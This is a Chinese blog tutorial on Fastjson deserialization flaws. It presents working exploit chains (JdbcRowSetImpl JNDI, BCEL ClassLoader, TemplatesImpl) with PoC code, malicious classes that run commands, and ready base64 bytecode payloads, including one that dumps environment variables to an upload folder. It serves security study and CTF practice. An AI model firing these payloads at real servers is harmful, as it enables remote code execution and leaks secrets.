Fastjson反序列化

什么是Fastjson反序列化

Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象。这个过程通常称为序列化和反序列化。

Fastjson 反序列化是指将 JSON 字符串转换为 Java 对象的过程。

提供两个主要接口:

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化。

Fastjson<=1.2.24

maven环境

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.LE0</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>fastjson</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <!-- 新增 JDK 版本属性,便于统一管理 -->
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.19.0-GA</version>
    </dependency>

    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>
  </dependencies>

  <!-- 新增编译插件配置,明确指定 JDK 8 编译 -->
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.8.1</version> <!-- 稳定的兼容 JDK 8 的版本 -->
        <configuration>
          <source>1.8</source> <!-- 源码编译级别 -->
          <target>1.8</target> <!-- 生成的字节码版本 -->
          <encoding>UTF-8</encoding> <!-- 编码统一 -->
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

构造自定义Person

package com.LE0;  
  
public class Person {  
    private String name;  
    private int age;  
  
    public Person() {  
        System.out.println("empty constructor");  
    }  
  
    public Person(String name, int age) {  
        this.name = name;  
        this.age = age;  
        System.out.println("constructor with parameters");  
    }  
  
    public String getName() {  
        System.out.println("getName method called");  
        return name;  
    }  
  
    public void setName(String name) {  
        System.out.println("setName method called");  
        this.name = name;  
    }  
  
    public int getAge() {  
        System.out.println("getAge method called");  
        return age;  
    }  
  
    public void setAge(int age) {  
        System.out.println("setAge method called");  
        this.age = age;  
    }  
}

利用JSON.toJSONString方法将对象序列化为JSON字符串。

package com.LE0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class App 
{
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("LE0");
        person.setAge(20);

        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);
    }
}

output:
empty constructor
setName method called
setAge method called
getAge method called
getName method called
{"age":20,"name":"LE0"}

继续来看反序列化,用JSON.parseObject方法接受一个JSON字符串和目标类的类型作为参数,将JSON字符串转换为对应的Java对象。

package com.LE0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/**
 * Hello world!
 *
 */
public class App 
{
    public static void main(String[] args) {
        String s = "{\"name\":\"LE0\",\"age\":20}";
        Person person1 = JSON.parseObject(s, Person.class);
        System.out.println(person1);
    }
}

output:
empty constructor
setName method called
setAge method called
com.LE0.Person@28c97a5

在反序列化(从json变为javabean)的时候,调用了set方法。

@type关键字

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

package com.LE0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class App 
{
    public static void main(String[] args) {
    String s = "{\"@type\":\"com.LE0.Person\",\"name\":\"LE0\",\"age\":\"20\"}";
        JSONObject object = JSON.parseObject(s);
        System.out.println(object);
    }
}
output:
empty constructor
setName method called
setAge method called
getAge method called
getName method called
{"name":"LE0","age":20}

可以看到,通过注解@type指定Person类,成功实例化了一个Person对象。

注意:
fastjson≤1.2.24,AutoType 默认开启.
fastjson ≥1.2.25:新增 checkAutoType、AutoType 默认关闭,如果不加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);会报错`autoType is not support. com.LE0.Person

AutoTypeSupport

AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson >= 1.2.25会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。

正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。

将FastJson的版本改为1.2.25再次尝试

package com.LE0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class App 
{
    public static void main(String[] args) {
    String s = "{\"@type\":\"com.LE0.Person\",\"name\":\"LE0\",\"age\":\"20\"}";
        JSONObject object = JSON.parseObject(s);
        System.out.println(object);
    }
}

output:
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.LE0.Person

而启用AutoTypeSupport就可以了

package com.LE0;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class App 
{
    public static void main(String[] args) {
    String s = "{\"@type\":\"com.LE0.Person\",\"name\":\"LE0\",\"age\":\"20\"}";
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSONObject object = JSON.parseObject(s);
        System.out.println(object);
    }
}

output:
empty constructor
setName method called
setAge method called
getAge method called
getName method called
{"name":"LE0","age":20}

利用链

基于 JdbcRowSetImpl 的利用链(出网)

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。

如果平常有打过 CTF 里面 fastjson 的题目的话,基本利用都是这个方式,因为动态加载字节码更加灵活。

JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

需要先起一个 Server,可以用yakit

基于BCEL ClassLoader的利用链(不出网)

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖

tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后:org.apache.tomcat.dbcp.dbcp2.BasicDataSource

漏洞原理是在org/apache/tomcat/dbcp/dbcp2/BasicDataSource.java中的createConnectionFactory()调用了forname方法,并且里面的driverClassName和driverClassLoader都有对应的set方法并可控,所以可以将driverClassLoader赋值为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName赋值为携带恶意逻辑、以BCEL开头的BCEL表达式;

package com.LE0;  
import com.alibaba.fastjson.JSON;  
import com.sun.org.apache.bcel.internal.classfile.Utility;  
import com.sun.org.apache.bcel.internal.util.ClassLoader;  
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.sql.SQLOutput;  
  
public class FastJsonBcel {  
    public static void main(String[] args) throws Exception {  
        ClassLoader classLoader = new ClassLoader();  
        // 改成你本地 Evil.class 绝对路径  
        byte[] bytes = convert("D:\\code\\java\\fastjson\\target\\classes\\com\\LE0\\Evil.class");  
        String code = Utility.encode(bytes, true);  
        System.out.println(code);  
        // 方式1:本地直接调用测试  
//         classLoader.loadClass("$$BCEL$$"+code).newInstance();  
        BasicDataSource dataSource = new BasicDataSource();  
//        dataSource.setDriverClassLoader(classLoader);  
//        dataSource.setDriverClassName("$$BCEL$$" + code);  
//        dataSource.getConnection();  
        // 方式2:FastJSON反序列化POC核心  
        String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +  
                "\"driverClassLoader\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +  
                "\"driverClassName\":\"$$BCEL$$" + code + "\"}";  
  
        JSON.parseObject(payload);  
    }  
  
    // 读取class文件字节码  
    public static byte[] convert(String filePath) throws Exception {  
        File file = new File(filePath);  
        FileInputStream fis = new FileInputStream(file);  
        byte[] buffer = new byte[(int) file.length()];  
        fis.read(buffer);  
        fis.close();  
        return buffer;  
    }  
}
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"$$BCEL$$$l$8b$I$A$..."}

基于 TemplatesImpl 的利用链 (不出网)

在学习cc链的时候,cc3调用TemplatesImpl加载字节码。回到TemplatesImpl源码发现,漏洞点是一个get方法。

所以 TemplatesImpl 是满足fastjson 漏洞的利用条件的。

具体参数可以参考CC3那篇文章

总结来说就是_name不能为空,_class要为空,_bytecodes不能为空,是一个二维数组,里面存的是恶意类的字节码。 _tfactory属性不能为空。

但只有这几个参数是没办法执行成功的,因为 fastjson 并不是调用所有的get和set方法,是有条件的。

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类。

所以得继续往上找其他get或者set方法,找到了getOutputProperties这个方法,他的返回值Properties继承于MAP
可以被调用

所以链子如下

getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);

恶意类

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
import java.io.IOException;  
  
public class Test extends AbstractTranslet {  
    public Test() throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {  
    }  
  
    @Override  
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    public static void main(String[] args) throws Exception {  
        Test t = new Test();  
    }  
}
package com.LE0;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.util.Base64;  
  
public class FastjsonTemplatesImpl {  
    public static void main(String[] args) {  
        // 恶意class路径  
        String evilClassPath = "D:\\code\\java\\fastjson\\target\\classes\\com\\LE0\\Test.class";  
        String base64Code = classToBase64(evilClassPath);  
  
        String payload =  
                "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +  
                        "\"_bytecodes\":[\""+base64Code+"\"]," +  
                        "\"_name\":\"LE0\"," +  
                        "\"_tfactory\":{}," +  
                        "\"_outputProperties\":{}}";  
  
        System.out.println("=====生成Payload=====");  
        System.out.println(payload);  
  
 
        ParserConfig config = new ParserConfig();  
        // fastjson <=1.2.24 不需要手动开启autoType;高版本需要绕过  
        // config.setAutoTypeSupport(true);  
        // 必须开启 SupportNonPublicField,才能给TemplatesImpl私有字段赋值  
        Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);  
    }  

   public static String classToBase64(String classFilePath) {  
        File file = new File(classFilePath);  
        if(!file.exists()){  
            System.err.println("文件不存在:" + classFilePath);  
            return null;  
        }  
        try (FileInputStream fis = new FileInputStream(file)) {  
            byte[] buffer = new byte[(int) file.length()];  
            fis.read(buffer);  
            return Base64.getEncoder().encodeToString(buffer);  
        } catch (IOException e) {  
            e.printStackTrace();  
            return null;  
        }  
    }  
}

payload

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MY29tL0xFMC9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAMY29tL0xFMC9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],"_name":"LE0","_tfactory":{},"_outputProperties":{}}

具体动调分析可以参考这篇文章,很详细Java安全之Fastjson反序列化漏洞分析 - nice_0e3 - 博客园

无回显可以写文件来读

package com.LE0;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.ClassPool;  
import javassist.CtClass;  
import java.util.Base64;  
  
public class poc {  
  
    public static class test{  
    }  
  
    public static void main(String[] args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass cc = pool.get(test.class.getName());  
  
        String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"env > upload/flag.txt\"});";  
  
        cc.makeClassInitializer().insertBefore(cmd);  
  
        String randomClassName = "LE0"+System.nanoTime();  
        cc.setName(randomClassName);  
  
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));  
  
  
        try {  
            byte[] evilCode = cc.toBytecode();  
            String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);  
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
            String text1 = "{"+  
                    "\"@type\":\"" + NASTY_CLASS +"\","+  
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+  
                    "\"_name\":\"a.b\","+  
                    "\"_tfactory\":{ },"+  
                    "\"_outputProperties\":{ }"+  
                    "}\n";  
  
            System.out.println(text1);  
  
//            ParserConfig config = new ParserConfig();  
//            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
}

paylaod

{
  "docId": 1,
  "title": "readme.txt",
  "status": "published",
  "content": "normal preview document\n",
  "x": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
   "yv66vgAAADQALAoAAwAPBwAnBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQASTGNvbS9MRTAvcG9jJHRlc3Q7AQAKU291cmNlRmlsZQEACHBvYy5qYXZhDAAEAAUHABMBABBjb20vTEUwL3BvYyR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAC2NvbS9MRTAvcG9jAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAQamF2YS9sYW5nL1N0cmluZwcAGwEACS9iaW4vYmFzaAgAHQEAAi1jCAAfAQAVZW52ID4gdXBsb2FkL2ZsYWcudHh0CAAhAQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMACMAJAoAFgAlAQARTEUwMzAyNjk1MTYwMDQzMDABABNMTEUwMzAyNjk1MTYwMDQzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAKQoAKgAPACEAAgAqAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACuxAAAAAgAHAAAABgABAAAADQAIAAAADAABAAAABQAJACgAAAAIABQABQABAAYAAAAnAAUAAAAAABu4ABoGvQAcWQMSHlNZBBIgU1kFEiJTtgAmV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="
    ],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

参考

fastjson反序列化 - Infernity's Blog

https://www.bilibili.com/video/BV1bG4y157Ef

Java安全之Fastjson反序列化漏洞分析 - nice_0e3 - 博客园

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby's Blog

posted @ 2026-07-28 18:07  leee0  阅读(17)  评论(0)    收藏  举报